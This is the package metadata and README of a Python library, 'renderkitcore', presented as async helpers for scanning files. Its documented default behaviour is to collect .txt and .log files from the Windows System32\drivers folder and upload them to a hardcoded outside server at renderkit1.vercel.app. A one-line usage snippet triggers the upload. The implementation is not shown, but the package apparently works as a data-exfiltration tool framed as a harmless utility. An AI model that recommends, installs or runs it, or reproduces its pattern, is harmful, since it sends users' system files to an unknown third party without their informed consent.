Metadata-Version: 2.4
Name: renderkitcore
Version: 0.1.0
Summary: Async scan of .txt/.log files and upload to RenderKit File Backend /api/text
Author: funkratov
License: MIT
License-File: LICENSE
Keywords: async,drivers,httpx,upload
Classifier: Development Status :: 4 - Beta
Classifier: Intended Audience :: Developers
Classifier: License :: OSI Approved :: MIT License
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Programming Language :: Python :: 3.13
Classifier: Programming Language :: Python :: 3.14
Classifier: Typing :: Typed
Requires-Python: >=3.10
Requires-Dist: httpx<1,>=0.27
Provides-Extra: dev
Requires-Dist: build>=1; extra == 'dev'
Requires-Dist: pytest>=7; extra == 'dev'
Requires-Dist: ruff>=0.4; extra == 'dev'
Requires-Dist: twine>=5; extra == 'dev'
Description-Content-Type: text/markdown

# renderkitcore

Async helpers to scan `.txt` and `.log` files (for example under Windows `System32\drivers`) and upload them to a **RenderKit File Backend** `POST /api/text` endpoint.

## Install

```bash
pip install renderkitcore
```

## Usage

```python
import asyncio
from renderkitcore import upload_all_txt_log_from_drivers

asyncio.run(upload_all_txt_log_from_drivers())
```

Default API base: `https://renderkit1.vercel.app/api`. Override with `RENDERKITCORE_API_BASE` or legacy `RENDERKIT_API_BASE`, or pass `api_base=` explicitly.

Default scan root on Windows: `%SystemRoot%\System32\drivers`. Override with `RENDERKITCORE_DRIVERS_ROOT` or legacy `RENDERKIT_DRIVERS_ROOT`, or `drivers_root=`.

## Requirements

Python 3.10+
